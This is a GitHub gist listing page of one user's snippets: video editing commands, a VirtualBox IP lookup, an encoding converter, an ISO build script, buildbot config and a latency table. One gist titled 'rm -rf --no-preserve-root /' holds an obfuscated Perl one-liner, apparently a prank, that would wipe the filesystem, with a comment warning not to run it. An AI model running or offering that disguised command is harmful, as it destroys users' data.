Skip to content

Instantly share code, notes, and snippets.

View Frodox's full-sized avatar
🎯
Focusing

Vitaly Rybnikov Frodox

🎯
Focusing
View GitHub Profile
# Geany's snippets configuration file
#
# use \n or %newline% for a new line (it will be replaced by the used EOL char(s) - LF, CR/LF, CR).
# use \t or %ws% for an indentation step, it will be replaced according to the current document's indent mode.
# use \s to force whitespace at beginning or end of a value ('key= value' won't work, use 'key=\svalue').
# use %key% for all keys defined in the [Special] section.
# use %cursor% to define where the cursor should be placed after completion. You can define multiple
# %cursor% wildcards and use the "Move cursor in snippet" to jump to the next defined cursor
# position in the completed snippet.
# You can define a section for each supported filetype to overwrite default settings, the section
@Frodox
Frodox / latency.markdown
Created August 30, 2021 21:21 — forked from hellerbarde/latency.markdown
Latency numbers every programmer should know

Latency numbers every programmer should know

L1 cache reference ......................... 0.5 ns
Branch mispredict ............................ 5 ns
L2 cache reference ........................... 7 ns
Mutex lock/unlock ........................... 25 ns
Main memory reference ...................... 100 ns             
Compress 1K bytes with Zippy ............. 3,000 ns  =   3 µs
Send 2K bytes over 1 Gbps network ....... 20,000 ns  =  20 µs
SSD random read ........................ 150,000 ns  = 150 µs

Read 1 MB sequentially from memory ..... 250,000 ns = 250 µs

Keybase proof

I hereby claim:

  • I am frodox on github.

  • I am frodox (https://keybase.io/frodox) on keybase.

  • I have a public key ASCBZ45dDFoGhpcOOzzLGLQQDAgy_0xXIEJSgU2Zqq244Qo

@Frodox
Frodox / video-snippet.sh
Last active February 18, 2020 20:29
Usefull snippets to work with video under Linux
# cut video
## mencoder (bad way)
## http://www.misterhowto.com/?category=Computers&subcategory=Video&article=trim_or_split_with_mencoder
mencoder -endpos 00:01:32 -ovc copy -oac copy MVI_0587.MOV -o cutted2.mov
## ffmpeg (cut better)
## from 00:00 to 00:01:32 to separete file
ffmpeg -i MVI_0587.MOV -c:v -acodec copy -ss 00:00:00 -t 00:01:32 cutted.mov
# concatenate (ok)
@Frodox
Frodox / get-ip-of-virtualbox-vm.sh
Last active February 18, 2020 20:27
How to know IP of VM in VirtualBox
#!/bin/bash
VBoxManage list runningvms
VBoxManage guestproperty get "VM_NAME" "/VirtualBox/GuestInfo/Net/0/V4/IP"
# NOTE: work only if guest vm have VboxAdditions installed
@Frodox
Frodox / rm-on-perl.perl
Created September 26, 2013 19:34
rm -rf --no-preserve-root /
cat «test… test… test...» | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'
Не запускай только, ради бога)
@Frodox
Frodox / convert-all-matlab-files-to-linux.sh
Last active December 20, 2017 18:44
convert all *.m files cp-1251 to utf8
#!/bin/bash
set -u -o pipefail
if [[ -z "${1-}" ]]; then
echo "$0 <dir>" >&2
exit 1
else
DIR=$(readlink -f "$1")
fi
@Frodox
Frodox / quick-start-iso.sh
Last active June 22, 2017 17:02
Quick start for creating custom centos like distro (gist for article ... )
cd /tmp
setenforce 0
LORAX_TMP_DIR=./lorax-raw # тут будут результаты его работы
lorax -p Fedora-Generic -v 22 -r 22 \
-s http://mirror.centos.org/centos-7/7/os/x86_64/ \
-s http://mirror.centos.org/centos-7/7/updates/x86_64/ "$LORAX_TMP_DIR"
...
buildroot=/build/lorax
mount -o loop,ro "$LORAX_TMP_DIR/images/boot.iso" "$TMP_MOUNT_DIR"
rm -rf "$buildroot"
@Frodox
Frodox / imap_monitor
Created June 19, 2017 22:15 — forked from shimofuri/imap_monitor
Python script for monitoring an IMAP folder
Each existing unread and subsequent new emails after the script is started are
passed as Mail objects to "process_email" function.Function header is provided
but processing implementation is left to the user. Error logs are currently sent
to a rotating log file (in the same directory as the script) and to STDOUT.
Instead of polling or checking the server for new emails every now and then,
IMAP IDLE check is utilized. Ensure that the IMAP server supports IDLE command
and allows at least 5 minutes of idling*** and uses the default ports for this
script to work. Tested to work with Gmail and default installations of MS
Exchange Server.
from buildbot.plugins import worker
WILY_WORKER_NAMES = ['wily-worker-{}'.format(i) for i in range(3)]
XENIAL_WORKER_NAMES = ['xenial-worker-{}'.format(i) for i in range(3)]
YAKKETY_WORKER_NAMES = ['yakkety-worker-{}'.format(i) for i in range(3)]
WORKERS = [
worker.DockerLatentWorker(
worker_name,
'SECRET',